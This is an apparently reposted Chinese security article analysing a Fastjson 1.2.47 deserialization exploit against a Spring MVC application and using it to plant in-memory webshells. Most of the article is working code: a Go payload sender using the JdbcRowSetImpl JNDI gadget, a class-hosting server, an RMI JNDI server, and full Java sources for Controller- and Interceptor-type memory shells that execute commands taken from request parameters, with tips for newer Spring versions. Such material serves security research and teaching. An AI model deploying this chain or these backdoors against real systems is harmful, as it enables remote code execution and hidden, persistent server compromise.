

# SpringMVC 配合 Fastjson 的内存马利用与分析 – 安全客，安全资讯平台

Spring MVC 是一种基于 Java 的实现了 Web MVC 设计模式的请求驱动类型的轻量级 Web 框架，即使用了 MVC 架构模式的思想，将 web 层进行职责解耦，基于请求驱动指的就是使用请求 – 响应模型，框架的目的就是帮助我们简化开发，Spring Web MVC 也是要简化我们日常 Web 开发的。



## SpringMVC

Spring MVC 是一种基于 Java 的实现了 Web MVC 设计模式的请求驱动类型的轻量级 Web 框架，即使用了 MVC 架构模式的思想，将 web 层进行职责解耦，基于请求驱动指的就是使用请求 – 响应模型，框架的目的就是帮助我们简化开发，Spring Web MVC 也是要简化我们日常 Web 开发的

总而言之，SpringMVC 框架使用范围极广。笔者大二曾参与多个实际上线 Java 项目的开发，他们的框架都包含了 SpringMVC

下面做一个基本的功能演示：

```
@Controller
public class TestController {
    @RequestMapping("/test")
    @ResponseBody
    public String test(){
        return "<h1>hello world</h1>";
    }
}
```

以上代码实现了用户访问 `localhost:8080/test` 后返回 html 代码 `<h1>hello world</h1>`

## 搭建环境



其中的 `badClassName` 代码如下，在静态代码块中执行计算器命令

```
package com.test.shell;

public class badClassName {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

`Reference` 的 `factoryLocation` 为 class 文件的 http 服务器，笔者使用 Golang 做了简单的路径映射

注意：不能直接映射到 `badClassName` 当前路径，而是 `classes` 路径

```
func main() {
    mux := http.NewServeMux()
    path := "YourPath\\Fastjson\\target\\classes"
    mux.Handle("/", http.StripPrefix("/", http.FileServer(http.Dir(path))))
    if err := http.ListenAndServe(":8000", mux); err != nil {
        fmt.Println("ok")
    }
}
```

图片是访问 `/com/test/shell` 后的效果



使用 Golang 发送 Fastjson 的 `JdbcRowSetImpl` 类型的 Payload

```
func main() {
    clint := &http.Client{}
    payload := "{\n" +
        "  \"a\":{\n" +
        "    \"@type\":\"java.lang.Class\",\n" +
        "    \"val\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
        "  },\n" +
        "  \"b\":{\n" +
        "    \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
        "    \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
        "    \"autoCommit\":true\n" +
        "  }\n" +
        "}\n"
    // 防止出现意外问题，对Payload进行URL编码
    resp, err := clint.Get("http://127.0.0.1:8080/deserialize?code=" + url.QueryEscape(payload))
    if err != nil {
        fmt.Println(err)
    }
    fmt.Println(resp.StatusCode)
}
```

当我们发送后发现成功弹出计算器



既然分析到此处，顺便来看一下 1.2.47 版本绕过和 `JdbcRowSetImpl` 的原理，使用 a 和 b 两个对象，为了将 a 设置到缓存 `mapping` 中在第二个对象加载时绕过哈希黑名单和关闭动态类型机制。`JdbcRowSetImpl` 对象我们设置其 `autoCommit` 属性为 `true` 是因为在 `setAutoCommit` 方法中有如下代码

```
public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}
```

由于没有设置 `this.conn` 代码会进入 `this.connect`，其中包含了 `lookup(this.getDataSourceName())` 的代码。这里的 `dataSourceName` 正是传入的值，在这里被当作参数传入 `lookup` 函数，然后前往 JNDI Server 使用对应的协议寻找，由于 JNDI 绑定 Reference，这里会加载到本地，实例化

```
private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            .....
        }
    }
}
```

## 内存马

上文已经成功弹出计算器了，说明笔者创造的漏洞点生效，下面将介绍内存马

该内存马代码参考网上大佬的博客，做了一些修改，本文后续正是采用此方法（将在后文给出大佬博客链接）

```
package com.test.shell;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class InjectToController {
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
        // 关于获取Context的方式有多种
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
            currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        // 通过反射获得该类的test方法
        Method method2 = InjectToController.class.getMethod("test");
        // 定义该controller的path
        PatternsRequestCondition url = new PatternsRequestCondition("/good");
        // 定义允许访问的HTTP方法
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 构造注册信息
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 创建用于处理请求的对象，避免无限循环使用另一个构造方法
        InjectToController injectToController = new InjectToController("aaa");
        // 将该controller注册到Spring容器
        mappingHandlerMapping.registerMapping(info, injectToController, method2);
    }

    // 第二个构造函数
    public InjectToController(String aaa) {

    }

    public void test() throws IOException {
        // 获取请求
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        // 获取请求的参数cmd并执行
        // 类似于PHP的eval($_GET["cmd"])
        Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}
```



注意网上给出的这部分代码在高版本 SpringMVC 中无效，并且找不到合适的替代。这部分代码的目的是防止注册重复 path，这种问题其实不需要这种复杂处理，对上文中 `/good` 部分的 path 替换为 `/Go0D` 等组合即可，因为正常的业务代码不可能定义这类特殊的 path

```
Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
```

这是 Controller 形的内存马，同时存在 Interceptor 型的内存马。Interceptor 名为拦截器，类似 Filter，常用于处理权限问题，有兴趣的师傅可以尝试

```
public class TestInterceptor extends HandlerInterceptorAdapter {
    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
        // 获取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 从context中获取AbstractHandlerMapping的实例对象
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
        // 反射获取adaptedInterceptors属性
        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
        // 避免重复添加
        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
                System.out.println("已经添加过TestInterceptor实例了");
                return;
            }
        }
        TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环
        adaptedInterceptors.add(aaa); // 添加全局interceptor
    }

    private TestInterceptor(String aaa) {
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        // 不干扰正常业务逻辑
        if (code != null) {
            java.lang.Runtime.getRuntime().exec(code);
            return true;
        } else {
            return true;
        }
    }
}
```

注意其中的这部分代码在高版本 SpringMVC 中会遇到错误，导致无法注册 Interceptor。由于时间关系，笔者并未尝试寻找替代类，有兴趣的师傅可以寻找合适的高版本利用方式

```
context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
```

提供 landgrey 师傅文章中获取 context 的几种方式，测试高版本 SpringMVC 可用的如下

```
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

// 本文的方式
```

```
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
```

说了这么多，还没进行内存马的利用，改下 JNDI Server

```
public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("InjectToController",
            "com.test.shell.InjectToController", "http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit", referenceWrapper);
    }
}
```

访问 `localhost:8080/good?cmd=calc` ，成功生成内存马



## 写在后面

关于本文有几处思考：

- 1. 目前的内存马是无回显的，可以修改代码实现回显
- 2. 笔者模拟的利用点是 Fastjson 反序列化，是否有其他方式（思路：SPEL 型 RCE，SSTI...）
- 3. 既然 Spring 可以，那 Struts2/Tomcat，甚至国产框架 JFinal 等框架是否也可以有类似的思路

## 参考链接

<https://landgrey.me/blog/12/>

<https://landgrey.me/blog/19/>

<https://xz.aliyun.com/t/9344>

<https://www.cnblogs.com/bitterz/p/14859766.html>

<https://www.cnblogs.com/bitterz/p/14820898.html>